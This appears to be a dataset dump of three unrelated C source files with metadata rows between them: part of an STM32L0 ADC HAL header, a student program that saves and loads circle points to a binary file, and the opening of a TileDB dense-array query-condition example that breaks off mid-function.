(ADC_CR_ADCAL | ADC_CR_ADSTP | ADC_CR_ADSTART | \
ADC_CR_ADDIS | ADC_CR_ADEN ) \
) == RESET \
) ? SET : RESET)
/**
* @brief Disable the ADC peripheral
* @param __HANDLE__: ADC handle
* @retval None
*/
#define __HAL_ADC_DISABLE(__HANDLE__) \
do{ \
(__HANDLE__)->Instance->CR |= ADC_CR_ADDIS; \
__HAL_ADC_CLEAR_FLAG((__HANDLE__), (ADC_FLAG_EOSMP | ADC_FLAG_RDY)); \
} while(0)
/**
* @brief Verification of hardware constraints before ADC can be disabled
* @param __HANDLE__: ADC handle
* @retval SET (ADC can be disabled) or RESET (ADC cannot be disabled)
*/
#define ADC_DISABLING_CONDITIONS(__HANDLE__) \
(( ( ((__HANDLE__)->Instance->CR) & \
(ADC_CR_ADSTART | ADC_CR_ADEN)) == ADC_CR_ADEN \
) ? SET : RESET)
/**
* @brief Verification of ADC state: enabled or disabled
* @param __HANDLE__: ADC handle
* @retval SET (ADC enabled) or RESET (ADC disabled)
*/
#define ADC_IS_ENABLE(__HANDLE__) \
(( ((((__HANDLE__)->Instance->CR) & (ADC_CR_ADEN | ADC_CR_ADDIS)) == ADC_CR_ADEN) && \
((((__HANDLE__)->Instance->ISR) & ADC_FLAG_RDY) == ADC_FLAG_RDY) \
) ? SET : RESET)
/**
* @brief Returns resolution bits in CFGR register: RES[1:0]. Return value among parameter to @ref ADC_Resolution.
* @param __HANDLE__: ADC handle
* @retval None
*/
#define ADC_GET_RESOLUTION(__HANDLE__) (((__HANDLE__)->Instance->CFGR1) & ADC_CFGR1_RES)
/**
* @brief Test if conversion trigger of regular group is software start
* or external trigger.
* @param __HANDLE__: ADC handle
* @retval SET (software start) or RESET (external trigger)
*/
#define ADC_IS_SOFTWARE_START_REGULAR(__HANDLE__) \
(((__HANDLE__)->Instance->CFGR1 & ADC_CFGR1_EXTEN) == RESET)
/**
* @brief Check if no conversion on going on regular group
* @param __HANDLE__: ADC handle
* @retval SET (conversion is on going) or RESET (no conversion is on going)
*/
#define ADC_IS_CONVERSION_ONGOING_REGULAR(__HANDLE__) \
(( (((__HANDLE__)->Instance->CR) & ADC_CR_ADSTART) == RESET \
) ? RESET : SET)
/**
* @brief Enable ADC continuous conversion mode.
* @param _CONTINUOUS_MODE_: Continuous mode.
* @retval None
*/
#define ADC_CONTINUOUS(_CONTINUOUS_MODE_) ((_CONTINUOUS_MODE_) << 13U)
/**
* @brief Enable ADC scan mode to convert multiple ranks with sequencer.
* @param _SCAN_MODE_: Scan conversion mode.
* @retval None
*/
#define ADC_SCANDIR(_SCAN_MODE_) \
( ( (_SCAN_MODE_) == (ADC_SCAN_DIRECTION_BACKWARD) \
)? (ADC_CFGR1_SCANDIR) : (0x00000000U) \
)
/**
* @brief Configures the number of discontinuous conversions for the regular group channels.
* @param _NBR_DISCONTINUOUS_CONV_: Number of discontinuous conversions.
* @retval None
*/
#define __HAL_ADC_CFGR1_DISCONTINUOUS_NUM(_NBR_DISCONTINUOUS_CONV_) (((_NBR_DISCONTINUOUS_CONV_) - 1U) << 17U)
/**
* @brief Enable the ADC DMA continuous request.
* @param _DMAContReq_MODE_: DMA continuous request mode.
* @retval None
*/
#define ADC_DMACONTREQ(_DMAContReq_MODE_) ((_DMAContReq_MODE_) << 1U)
/**
* @brief Enable the ADC Auto Delay.
* @param _AutoDelay_: Auto delay bit enable or disable.
* @retval None
*/
#define __HAL_ADC_CFGR1_AutoDelay(_AutoDelay_) ((_AutoDelay_) << 14U)
/**
* @brief Enable the ADC LowPowerAutoPowerOff.
* @param _AUTOFF_: AutoOff bit enable or disable.
* @retval None
*/
#define __HAL_ADC_CFGR1_AUTOFF(_AUTOFF_) ((_AUTOFF_) << 15U)
/**
* @brief Configure the analog watchdog high threshold into registers TR1, TR2 or TR3.
* @param _Threshold_: Threshold value
* @retval None
*/
#define ADC_TRX_HIGHTHRESHOLD(_Threshold_) ((_Threshold_) << 16U)
/**
* @brief Enable the ADC Low Frequency mode.
* @param _LOW_FREQUENCY_MODE_: Low Frequency mode.
* @retval None
*/
#define __HAL_ADC_CCR_LOWFREQUENCY(_LOW_FREQUENCY_MODE_) ((_LOW_FREQUENCY_MODE_) << 25U)
/**
* @brief Shift the offset in function of the selected ADC resolution.
* Offset has to be left-aligned on bit 11, the LSB (right bits) are set to 0
* If resolution 12 bits, no shift.
* If resolution 10 bits, shift of 2 ranks on the right.
* If resolution 8 bits, shift of 4 ranks on the right.
* If resolution 6 bits, shift of 6 ranks on the right.
* therefore, shift = (12 - resolution) = 12 - (12- (((RES[1:0]) >> 3)*2))
* @param __HANDLE__: ADC handle.
* @param _Offset_: Value to be shifted
* @retval None
*/
#define ADC_OFFSET_SHIFT_RESOLUTION(__HANDLE__, _Offset_) \
((_Offset_) << ((((__HANDLE__)->Instance->CFGR & ADC_CFGR1_RES) >> 3U)*2U))
/**
* @brief Shift the AWD1 threshold in function of the selected ADC resolution.
* Thresholds have to be left-aligned on bit 11, the LSB (right bits) are set to 0
* If resolution 12 bits, no shift.
* If resolution 10 bits, shift of 2 ranks on the right.
* If resolution 8 bits, shift of 4 ranks on the right.
* If resolution 6 bits, shift of 6 ranks on the right.
* therefore, shift = (12 - resolution) = 12 - (12- (((RES[1:0]) >> 3)*2))
* @param __HANDLE__: ADC handle.
* @param _Threshold_: Value to be shifted
* @retval None
*/
#define ADC_AWD1THRESHOLD_SHIFT_RESOLUTION(__HANDLE__, _Threshold_) \
((_Threshold_) << ((((__HANDLE__)->Instance->CFGR1 & ADC_CFGR1_RES) >> 3U)*2U))
/**
* @brief Shift the value on the left, less significant are set to 0.
* @param _Value_: Value to be shifted
* @param _Shift_: Number of shift to be done
* @retval None
*/
#define __HAL_ADC_Value_Shift_left(_Value_, _Shift_) ((_Value_) << (_Shift_))
/**
* @brief Enable the ADC end of conversion interrupt.
* @param __HANDLE__: ADC handle.
* @param __INTERRUPT__: ADC Interrupt.
* @retval None
*/
#define __HAL_ADC_ENABLE_IT(__HANDLE__, __INTERRUPT__) \
(((__HANDLE__)->Instance->IER) |= (__INTERRUPT__))
/**
* @brief Disable the ADC end of conversion interrupt.
* @param __HANDLE__: ADC handle.
* @param __INTERRUPT__: ADC interrupt.
* @retval None
*/
#define __HAL_ADC_DISABLE_IT(__HANDLE__, __INTERRUPT__) \
(((__HANDLE__)->Instance->IER) &= ~(__INTERRUPT__))
/** @brief Checks if the specified ADC interrupt source is enabled or disabled.
* @param __HANDLE__: ADC handle
* @param __INTERRUPT__: ADC interrupt source to check
* @arg ...
* @arg ...
* @retval State of interruption (TRUE or FALSE)
*/
#define __HAL_ADC_GET_IT_SOURCE(__HANDLE__, __INTERRUPT__) \
(((__HANDLE__)->Instance->IER & (__INTERRUPT__)) == (__INTERRUPT__))
/**
* @brief Clear the ADC's pending flags
* @param __HANDLE__: ADC handle.
* @param __FLAG__: ADC flag.
* @retval None
*/
/* Note: bit cleared bit by writing 1 */
#define __HAL_ADC_CLEAR_FLAG(__HANDLE__, __FLAG__) \
(((__HANDLE__)->Instance->ISR) = (__FLAG__))
/**
* @brief Get the selected ADC's flag status.
* @param __HANDLE__: ADC handle.
* @param __FLAG__: ADC flag.
* @retval None
*/
#define __HAL_ADC_GET_FLAG(__HANDLE__, __FLAG__) \
((((__HANDLE__)->Instance->ISR) & (__FLAG__)) == (__FLAG__))
/**
* @brief Simultaneously clears and sets specific bits of the handle State
* @note: ADC_STATE_CLR_SET() macro is merely aliased to generic macro MODIFY_REG(),
* the first parameter is the ADC handle State, the second parameter is the
* bit field to clear, the third and last parameter is the bit field to set.
* @retval None
*/
#define ADC_STATE_CLR_SET MODIFY_REG
/**
* @brief Clear ADC error code (set it to error code: "no error")
* @param __HANDLE__: ADC handle
* @retval None
*/
#define ADC_CLEAR_ERRORCODE(__HANDLE__) \
((__HANDLE__)->ErrorCode = HAL_ADC_ERROR_NONE)
/**
* @brief Configuration of ADC clock & prescaler: clock source PCLK or Asynchronous with selectable prescaler
* @param __HANDLE__: ADC handle
* @retval None
*/
#define __HAL_ADC_CLOCK_PRESCALER(__HANDLE__) \
do{ \
if ((((__HANDLE__)->Init.ClockPrescaler) == ADC_CLOCK_SYNC_PCLK_DIV1) || \
(((__HANDLE__)->Init.ClockPrescaler) == ADC_CLOCK_SYNC_PCLK_DIV2) || \
(((__HANDLE__)->Init.ClockPrescaler) == ADC_CLOCK_SYNC_PCLK_DIV4)) \
{ \
(__HANDLE__)->Instance->CFGR2 &= ~(ADC_CFGR2_CKMODE); \
(__HANDLE__)->Instance->CFGR2 |= (__HANDLE__)->Init.ClockPrescaler; \
} \
else \
{ \
/* CKMOD bits must be reset */ \
(__HANDLE__)->Instance->CFGR2 &= ~(ADC_CFGR2_CKMODE); \
ADC->CCR &= ~(ADC_CCR_PRESC); \
ADC->CCR |= (__HANDLE__)->Init.ClockPrescaler; \
} \
} while(0)
#define IS_ADC_CLOCKPRESCALER(ADC_CLOCK) (((ADC_CLOCK) == ADC_CLOCK_ASYNC_DIV1) ||\
((ADC_CLOCK) == ADC_CLOCK_SYNC_PCLK_DIV1) ||\
((ADC_CLOCK) == ADC_CLOCK_SYNC_PCLK_DIV2) ||\
((ADC_CLOCK) == ADC_CLOCK_SYNC_PCLK_DIV4) ||\
((ADC_CLOCK) == ADC_CLOCK_ASYNC_DIV1 ) ||\
((ADC_CLOCK) == ADC_CLOCK_ASYNC_DIV2 ) ||\
((ADC_CLOCK) == ADC_CLOCK_ASYNC_DIV4 ) ||\
((ADC_CLOCK) == ADC_CLOCK_ASYNC_DIV6 ) ||\
((ADC_CLOCK) == ADC_CLOCK_ASYNC_DIV8 ) ||\
((ADC_CLOCK) == ADC_CLOCK_ASYNC_DIV10 ) ||\
((ADC_CLOCK) == ADC_CLOCK_ASYNC_DIV12 ) ||\
((ADC_CLOCK) == ADC_CLOCK_ASYNC_DIV16 ) ||\
((ADC_CLOCK) == ADC_CLOCK_ASYNC_DIV32 ) ||\
((ADC_CLOCK) == ADC_CLOCK_ASYNC_DIV64 ) ||\
((ADC_CLOCK) == ADC_CLOCK_ASYNC_DIV128 ) ||\
((ADC_CLOCK) == ADC_CLOCK_ASYNC_DIV256))
#define IS_ADC_RESOLUTION(RESOLUTION) (((RESOLUTION) == ADC_RESOLUTION_12B) || \
((RESOLUTION) == ADC_RESOLUTION_10B) || \
((RESOLUTION) == ADC_RESOLUTION_8B) || \
((RESOLUTION) == ADC_RESOLUTION_6B))
#define IS_ADC_RESOLUTION_8_6_BITS(RESOLUTION) (((RESOLUTION) == ADC_RESOLUTION_8B) || \
((RESOLUTION) == ADC_RESOLUTION_6B))
#define IS_ADC_DATA_ALIGN(ALIGN) (((ALIGN) == ADC_DATAALIGN_RIGHT) || \
((ALIGN) == ADC_DATAALIGN_LEFT))
#define IS_ADC_EXTTRIG_EDGE(EDGE) (((EDGE) == ADC_EXTERNALTRIGCONVEDGE_NONE) || \
((EDGE) == ADC_EXTERNALTRIGCONVEDGE_RISING) || \
((EDGE) == ADC_EXTERNALTRIGCONVEDGE_FALLING) || \
((EDGE) == ADC_EXTERNALTRIGCONVEDGE_RISINGFALLING))
#define IS_ADC_EOC_SELECTION(EOC_SELECTION) (((EOC_SELECTION) == ADC_EOC_SINGLE_CONV) || \
((EOC_SELECTION) == ADC_EOC_SEQ_CONV) || \
((EOC_SELECTION) == ADC_EOC_SINGLE_SEQ_CONV))
#define IS_ADC_OVERRUN(OVR) (((OVR) == ADC_OVR_DATA_PRESERVED) || \
((OVR) == ADC_OVR_DATA_OVERWRITTEN))
#define IS_ADC_RANK(WATCHDOG) (((WATCHDOG) == ADC_RANK_CHANNEL_NUMBER) || \
((WATCHDOG) == ADC_RANK_NONE))
#if defined (STM32L053xx) || defined (STM32L063xx) || defined (STM32L073xx) || defined (STM32L083xx)
#define IS_ADC_CHANNEL(CHANNEL) (((CHANNEL) == ADC_CHANNEL_0) || \
((CHANNEL) == ADC_CHANNEL_1) || \
((CHANNEL) == ADC_CHANNEL_2) || \
((CHANNEL) == ADC_CHANNEL_3) || \
((CHANNEL) == ADC_CHANNEL_4) || \
((CHANNEL) == ADC_CHANNEL_5) || \
((CHANNEL) == ADC_CHANNEL_6) || \
((CHANNEL) == ADC_CHANNEL_7) || \
((CHANNEL) == ADC_CHANNEL_8) || \
((CHANNEL) == ADC_CHANNEL_9) || \
((CHANNEL) == ADC_CHANNEL_10) || \
((CHANNEL) == ADC_CHANNEL_11) || \
((CHANNEL) == ADC_CHANNEL_12) || \
((CHANNEL) == ADC_CHANNEL_13) || \
((CHANNEL) == ADC_CHANNEL_14) || \
((CHANNEL) == ADC_CHANNEL_15) || \
((CHANNEL) == ADC_CHANNEL_TEMPSENSOR) || \
((CHANNEL) == ADC_CHANNEL_VREFINT) || \
((CHANNEL) == ADC_CHANNEL_VLCD))
#else
#define IS_ADC_CHANNEL(CHANNEL) (((CHANNEL) == ADC_CHANNEL_0) || \
((CHANNEL) == ADC_CHANNEL_1) || \
((CHANNEL) == ADC_CHANNEL_2) || \
((CHANNEL) == ADC_CHANNEL_3) || \
((CHANNEL) == ADC_CHANNEL_4) || \
((CHANNEL) == ADC_CHANNEL_5) || \
((CHANNEL) == ADC_CHANNEL_6) || \
((CHANNEL) == ADC_CHANNEL_7) || \
((CHANNEL) == ADC_CHANNEL_8) || \
((CHANNEL) == ADC_CHANNEL_9) || \
((CHANNEL) == ADC_CHANNEL_10) || \
((CHANNEL) == ADC_CHANNEL_11) || \
((CHANNEL) == ADC_CHANNEL_12) || \
((CHANNEL) == ADC_CHANNEL_13) || \
((CHANNEL) == ADC_CHANNEL_14) || \
((CHANNEL) == ADC_CHANNEL_15) || \
((CHANNEL) == ADC_CHANNEL_TEMPSENSOR) || \
((CHANNEL) == ADC_CHANNEL_VREFINT))
#endif
#define IS_ADC_SAMPLE_TIME(TIME) (((TIME) == ADC_SAMPLETIME_1CYCLE_5 ) || \
((TIME) == ADC_SAMPLETIME_3CYCLES_5 ) || \
((TIME) == ADC_SAMPLETIME_7CYCLES_5 ) || \
((TIME) == ADC_SAMPLETIME_12CYCLES_5 ) || \
((TIME) == ADC_SAMPLETIME_19CYCLES_5 ) || \
((TIME) == ADC_SAMPLETIME_39CYCLES_5 ) || \
((TIME) == ADC_SAMPLETIME_79CYCLES_5 ) || \
((TIME) == ADC_SAMPLETIME_160CYCLES_5))
#define IS_ADC_SCAN_MODE(SCAN_MODE) (((SCAN_MODE) == ADC_SCAN_DIRECTION_FORWARD) || \
((SCAN_MODE) == ADC_SCAN_DIRECTION_BACKWARD))
#define IS_ADC_OVERSAMPLING_RATIO(RATIO) (((RATIO) == ADC_OVERSAMPLING_RATIO_2 ) || \
((RATIO) == ADC_OVERSAMPLING_RATIO_4 ) || \
((RATIO) == ADC_OVERSAMPLING_RATIO_8 ) || \
((RATIO) == ADC_OVERSAMPLING_RATIO_16 ) || \
((RATIO) == ADC_OVERSAMPLING_RATIO_32 ) || \
((RATIO) == ADC_OVERSAMPLING_RATIO_64 ) || \
((RATIO) == ADC_OVERSAMPLING_RATIO_128 ) || \
((RATIO) == ADC_OVERSAMPLING_RATIO_256 ))
#define IS_ADC_RIGHT_BIT_SHIFT(SHIFT) (((SHIFT) == ADC_RIGHTBITSHIFT_NONE) || \
((SHIFT) == ADC_RIGHTBITSHIFT_1 ) || \
((SHIFT) == ADC_RIGHTBITSHIFT_2 ) || \
((SHIFT) == ADC_RIGHTBITSHIFT_3 ) || \
((SHIFT) == ADC_RIGHTBITSHIFT_4 ) || \
((SHIFT) == ADC_RIGHTBITSHIFT_5 ) || \
((SHIFT) == ADC_RIGHTBITSHIFT_6 ) || \
((SHIFT) == ADC_RIGHTBITSHIFT_7 ) || \
((SHIFT) == ADC_RIGHTBITSHIFT_8 ))
#define IS_ADC_TRIGGERED_OVERSAMPLING_MODE(MODE) (((MODE) == ADC_TRIGGEREDMODE_SINGLE_TRIGGER) || \
((MODE) == ADC_TRIGGEREDMODE_MULTI_TRIGGER) )
#define IS_ADC_ANALOG_WATCHDOG_MODE(WATCHDOG) (((WATCHDOG) == ADC_ANALOGWATCHDOG_NONE ) || \
((WATCHDOG) == ADC_ANALOGWATCHDOG_SINGLE_REG) || \
((WATCHDOG) == ADC_ANALOGWATCHDOG_ALL_REG ))
#define IS_ADC_CONVERSION_GROUP(CONVERSION) ((CONVERSION) == ADC_REGULAR_GROUP)
#define IS_ADC_EVENT_TYPE(EVENT) (((EVENT) == ADC_AWD_EVENT) || \
((EVENT) == ADC_OVR_EVENT))
/** @defgroup ADC_range_verification ADC Range Verification
* in function of ADC resolution selected (12, 10, 8 or 6 bits)
* @{
*/
#define IS_ADC_RANGE(RESOLUTION, ADC_VALUE) \
((((RESOLUTION) == ADC_RESOLUTION_12B) && ((ADC_VALUE) <= ((uint32_t)0x0FFFU))) || \
(((RESOLUTION) == ADC_RESOLUTION_10B) && ((ADC_VALUE) <= ((uint32_t)0x03FFU))) || \
(((RESOLUTION) == ADC_RESOLUTION_8B) && ((ADC_VALUE) <= ((uint32_t)0x00FFU))) || \
(((RESOLUTION) == ADC_RESOLUTION_6B) && ((ADC_VALUE) <= ((uint32_t)0x003FU))))
/**
* @}
*/
/** @defgroup ADC_regular_nb_conv_verification ADC Regular Nb Conversion Verification
* @{
*/
#define IS_ADC_REGULAR_NB_CONV(LENGTH) (((LENGTH) >= ((uint32_t)1U)) && ((LENGTH) <= ((uint32_t)16U)))
/**
* @}
*/
/**
* @}
*/
/* Include ADC HAL Extended module */
#include "stm32l0xx_hal_adc_ex.h"
/* Exported functions --------------------------------------------------------*/
/** @addtogroup ADC_Exported_Functions
* @{
*/
/** @addtogroup ADC_Exported_Functions_Group1
* @brief Initialization and Configuration functions
* @{
*/
/* Initialization and de-initialization functions ****************************/
HAL_StatusTypeDef HAL_ADC_Init(ADC_HandleTypeDef* hadc);
HAL_StatusTypeDef HAL_ADC_DeInit(ADC_HandleTypeDef *hadc);
void HAL_ADC_MspInit(ADC_HandleTypeDef* hadc);
void HAL_ADC_MspDeInit(ADC_HandleTypeDef* hadc);
/**
* @}
*/
/** @addtogroup ADC_Exported_Functions_Group2
* @brief IO operation functions
* @{
*/
/* IO operation functions *****************************************************/
/* Blocking mode: Polling */
HAL_StatusTypeDef HAL_ADC_Start(ADC_HandleTypeDef* hadc);
HAL_StatusTypeDef HAL_ADC_Stop(ADC_HandleTypeDef* hadc);
HAL_StatusTypeDef HAL_ADC_PollForConversion(ADC_HandleTypeDef* hadc, uint32_t Timeout);
HAL_StatusTypeDef HAL_ADC_PollForEvent(ADC_HandleTypeDef* hadc, uint32_t EventType, uint32_t Timeout);
/* Non-blocking mode: Interruption */
HAL_StatusTypeDef HAL_ADC_Start_IT(ADC_HandleTypeDef* hadc);
HAL_StatusTypeDef HAL_ADC_Stop_IT(ADC_HandleTypeDef* hadc);
/* Non-blocking mode: DMA */
HAL_StatusTypeDef HAL_ADC_Start_DMA(ADC_HandleTypeDef* hadc, uint32_t* pData, uint32_t Length);
HAL_StatusTypeDef HAL_ADC_Stop_DMA(ADC_HandleTypeDef* hadc);
/* ADC retrieve conversion value intended to be used with polling or interruption */
uint32_t HAL_ADC_GetValue(ADC_HandleTypeDef* hadc);
/* ADC IRQHandler and Callbacks used in non-blocking modes (Interruption and DMA) */
void HAL_ADC_IRQHandler(ADC_HandleTypeDef* hadc);
void HAL_ADC_ConvCpltCallback(ADC_HandleTypeDef* hadc);
void HAL_ADC_ConvHalfCpltCallback(ADC_HandleTypeDef* hadc);
void HAL_ADC_LevelOutOfWindowCallback(ADC_HandleTypeDef* hadc);
void HAL_ADC_ErrorCallback(ADC_HandleTypeDef *hadc);
/**
* @}
*/
/** @addtogroup ADC_Exported_Functions_Group3 Peripheral Control functions
* @brief Peripheral Control functions
* @{
*/
/* Peripheral Control functions ***********************************************/
HAL_StatusTypeDef HAL_ADC_ConfigChannel(ADC_HandleTypeDef* hadc, ADC_ChannelConfTypeDef* sConfig);
HAL_StatusTypeDef HAL_ADC_AnalogWDGConfig(ADC_HandleTypeDef* hadc, ADC_AnalogWDGConfTypeDef* AnalogWDGConfig);
/**
* @}
*/
/* Peripheral State functions *************************************************/
/** @addtogroup ADC_Exported_Functions_Group4
* @{
*/
uint32_t HAL_ADC_GetState(ADC_HandleTypeDef* hadc);
uint32_t HAL_ADC_GetError(ADC_HandleTypeDef *hadc);
/**
* @}
*/
/**
* @}
*/
/**
* @}
*/
/**
* @}
*/
#ifdef __cplusplus
}
#endif
#endif /*__STM32L0xx_HAL_ADC_H */
/************************ (C) COPYRIGHT STMicroelectronics *****END OF FILE****/
| [
"jan.mucala@gmail.com"
] | jan.mucala@gmail.com |
3d12156873325b43c7c13e0ee02ed8f70af0a67c | a18fa21acbcab410b619ca4400fa23f050745b1c | /P7.c | ea9d0c5cd7da61b9a9500a0f0735b12a03dce1ae | [] | no_license | LeslyMontufar/MTP2018-2 | 4a9d592db582fa3535becb8ecbe14780a65ae71e | 7ed0cfc03cc0e53614e94c0045aae4019449dc78 | refs/heads/master | 2021-07-25T07:52:28.318993 | 2018-12-14T03:02:37 | 2018-12-14T03:02:37 | 144,895,712 | 2 | 0 | null | null | null | null | UTF-8 | C | false | false | 1,590 | c | /* P7.c */
/* Lesly Viviane Montúfar Berrios */
/* 11811ETE001 */
#include <stdio.h>
#include <stdlib.h>
#include <math.h>
#define r 1
typedef struct {
float x, y;
}Ponto;
void gerarArquivo();
void recuperarPontos();
int main(){
char option;
fprintf(stdout, "\n\t1. Gerar arquivos com pontos\n");
fprintf(stdout, "\t2. Recuperar pontos de arquivo\n\n\t");
scanf("%c", &option); getchar();
switch(option){
case '1':
gerarArquivo();
break;
case '2':
recuperarPontos();
break;
}
return 0;
}
void gerarArquivo(){
FILE *fp;
Ponto *p;
int N, i;
fprintf(stdout, "\n\n\tN: ");
scanf("%i", &N);getchar();
p = (Ponto *) malloc(N*sizeof(Ponto));
for(i=0; i<N; i++){
p[i].x= r*cos(i*2*M_PI/(N-1));
p[i].y= r*sin(i*2*M_PI/(N-1));
}
if((fp=fopen("pontos.dat", "wb"))!=NULL){
fwrite(&N, 1, sizeof(int), fp);
fwrite(p, N, sizeof(Ponto), fp);
fprintf(stdout, "\n\n\t\"1\" + \"%i\" retorna \"Arquivo gravado\"\n", N);
}else
fprintf(stdout, "Erro: nao possivel abrir o arquivo");
free(p);
fclose(fp);
}
void recuperarPontos(){
Ponto *p;
int N, i, nCol=2;
FILE *fp;
if((fp=fopen("pontos.dat", "rb"))!=NULL){
fread(&N, 1, sizeof(int), fp);
p = (Ponto *) malloc(N*sizeof(Ponto));
fread(p, N, sizeof(Ponto), fp);
}else
fprintf(stdout, "Error: Impossible to open the file");
printf("\n\n\t\"2\" retorna \" ");
for(i=0; i<N; i++){
fprintf(stdout, "(%.3f, %.3f) ", p[i].x, p[i].y);
if((i+1)%nCol==0 && i!=N-1)
fprintf(stdout, "\n\t");
}
printf("\"\n");
free(p);
fclose(fp);
}
| [
"noreply@github.com"
] | LeslyMontufar.noreply@github.com |
4e3adef2d8958877e8749007a9becb860af0b455 | f4892c12c0e2ffdfbd678176dc8fa03f051314c4 | /examples/c_api/query_condition_dense.c | 35468e9c3d19c30fa40217f498a789393a446f98 | [
"MIT"
] | permissive | TileDB-Inc/TileDB | 06c15bcf6e3c62b191a6daa40fb33b41af2bdcdc | fddbe978d50ea7c9706fb0b7ca403c47986a4909 | refs/heads/dev | 2023-09-04T01:18:20.642838 | 2023-08-31T19:23:04 | 2023-09-02T14:36:02 | 86,868,560 | 1,779 | 204 | MIT | 2023-09-14T14:40:20 | 2017-03-31T23:44:23 | C++ | UTF-8 | C | false | false | 13,080 | c | /**
* @file query_condition_dense.c
*
* @section LICENSE
*
* The MIT License
*
* @copyright Copyright (c) 2022 TileDB, Inc.
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
* THE SOFTWARE.
*
* @section DESCRIPTION
*
* When run, this program will create a dense 1D array with 4 attributes. It
* will then run queries with different query conditions to demonstrate how
* query conditions can be used to filter out results in TileDB arrays.
*/
#include <stdbool.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <tiledb/tiledb.h>
// Name of array.
const char* array_name = "query_condition_dense_array";
int32_t num_elems = 10;
// Fill values.
int c_fill_value = -1;
float d_fill_value = 0.0;
/**
* @brief Function to print the values of all the attributes for one
* index of this array.
*
* @param a Attribute a's value.
* @param b Attribute b's value.
* @param c Attribute c's value.
* @param d Attribute d's value.
*/
void print_elem(int* a, char* b_start, int b_len, int32_t c, float d) {
if (a == NULL) {
printf("{null, %.*s, %d, %.1f}\n", b_len, b_start, c, d);
} else {
printf("{%d, %.*s, %d, %.1f}\n", *a, b_len, b_start, c, d);
}
}
/**
* @brief Function to create the TileDB array used in this example.
* The array will be 1D with size 1 with dimension "index".
* The bounds on the index will be 0 through 9, inclusive.
*
* The array has two attributes. The two attributes are
* - "a" (type int)
* - "b" (type ASCII string)
* - "c" (type int32_t)
* - "d" (type float)
*
* @param ctx The context.
*/
void create_array(tiledb_ctx_t* ctx) {
// Creating the dimension and the domain.
tiledb_dimension_t* dimension;
int dim_domain[] = {0, num_elems - 1};
int tile_extents[] = {1};
tiledb_dimension_alloc(
ctx, "index", TILEDB_INT32, &dim_domain[0], &tile_extents[0], &dimension);
tiledb_domain_t* domain;
tiledb_domain_alloc(ctx, &domain);
tiledb_domain_add_dimension(ctx, domain, dimension);
// The array will be dense.
tiledb_array_schema_t* schema;
tiledb_array_schema_alloc(ctx, TILEDB_DENSE, &schema);
tiledb_array_schema_set_domain(ctx, schema, domain);
tiledb_array_schema_set_cell_order(ctx, schema, TILEDB_ROW_MAJOR);
// Adding the attributes of the array to the array schema.
tiledb_attribute_t* a;
tiledb_attribute_alloc(ctx, "a", TILEDB_INT32, &a);
tiledb_attribute_set_nullable(ctx, a, true);
tiledb_attribute_t* b;
tiledb_attribute_alloc(ctx, "b", TILEDB_STRING_ASCII, &b);
tiledb_attribute_set_cell_val_num(ctx, b, TILEDB_VAR_NUM);
tiledb_attribute_t* c;
tiledb_attribute_alloc(ctx, "c", TILEDB_INT32, &c);
tiledb_attribute_set_fill_value(ctx, c, &c_fill_value, sizeof(int));
tiledb_attribute_t* d;
tiledb_attribute_alloc(ctx, "d", TILEDB_FLOAT32, &d);
tiledb_attribute_set_fill_value(ctx, d, &d_fill_value, sizeof(float));
tiledb_array_schema_add_attribute(ctx, schema, a);
tiledb_array_schema_add_attribute(ctx, schema, b);
tiledb_array_schema_add_attribute(ctx, schema, c);
tiledb_array_schema_add_attribute(ctx, schema, d);
// Create the (empty) array.
tiledb_array_create(ctx, array_name, schema);
// Cleanup.
tiledb_attribute_free(&d);
tiledb_attribute_free(&c);
tiledb_attribute_free(&b);
tiledb_attribute_free(&a);
tiledb_array_schema_free(&schema);
tiledb_domain_free(&domain);
tiledb_dimension_free(&dimension);
}
/**
* @brief Execute a write on array query_condition_dense array
* which then stores the following data in the array. The table
* is organized by dimension/attribute.
*
* index | a | b | c | d
* -------------------------------
* 0 | null | alice | 0 | 4.1
* 1 | 2 | bob | 0 | 3.4
* 2 | null | craig | 0 | 5.6
* 3 | 4 | dave | 0 | 3.7
* 4 | null | erin | 0 | 2.3
* 5 | 6 | frank | 0 | 1.7
* 6 | null | grace | 1 | 3.8
* 7 | 8 | heidi | 2 | 4.9
* 8 | null | ivan | 3 | 3.2
* 9 | 10 | judy | 4 | 3.1
*
* @param ctx The context.
*/
void write_array(tiledb_ctx_t* ctx) {
// Create data buffers that store the values to be written in.
int32_t a_data[] = {0, 2, 0, 4, 0, 6, 0, 8, 0, 10};
uint64_t a_size = sizeof(a_data);
uint8_t a_data_validity[] = {0, 1, 0, 1, 0, 1, 0, 1, 0, 1};
uint64_t a_validity_size = sizeof(a_data_validity);
char* b_data = "alicebobcraigdaveerinfrankgraceheidiivanjudy";
uint64_t b_size = strlen(b_data);
uint64_t b_data_offsets[] = {0, 5, 8, 13, 17, 21, 26, 31, 36, 40};
uint64_t b_offsets_size = sizeof(b_data_offsets);
int32_t c_data[] = {0, 0, 0, 0, 0, 0, 1, 2, 3, 4};
uint64_t c_size = sizeof(c_data);
float d_data[] = {4.1, 3.4, 5.6, 3.7, 2.3, 1.7, 3.8, 4.9, 3.2, 3.1};
uint64_t d_size = sizeof(d_data);
tiledb_array_t* array_w;
tiledb_array_alloc(ctx, array_name, &array_w);
tiledb_array_open(ctx, array_w, TILEDB_WRITE);
// Execute the write query.
tiledb_query_t* query_w;
tiledb_query_alloc(ctx, array_w, TILEDB_WRITE, &query_w);
tiledb_query_set_layout(ctx, query_w, TILEDB_ROW_MAJOR);
tiledb_query_set_data_buffer(ctx, query_w, "a", a_data, &a_size);
tiledb_query_set_validity_buffer(
ctx, query_w, "a", a_data_validity, &a_validity_size);
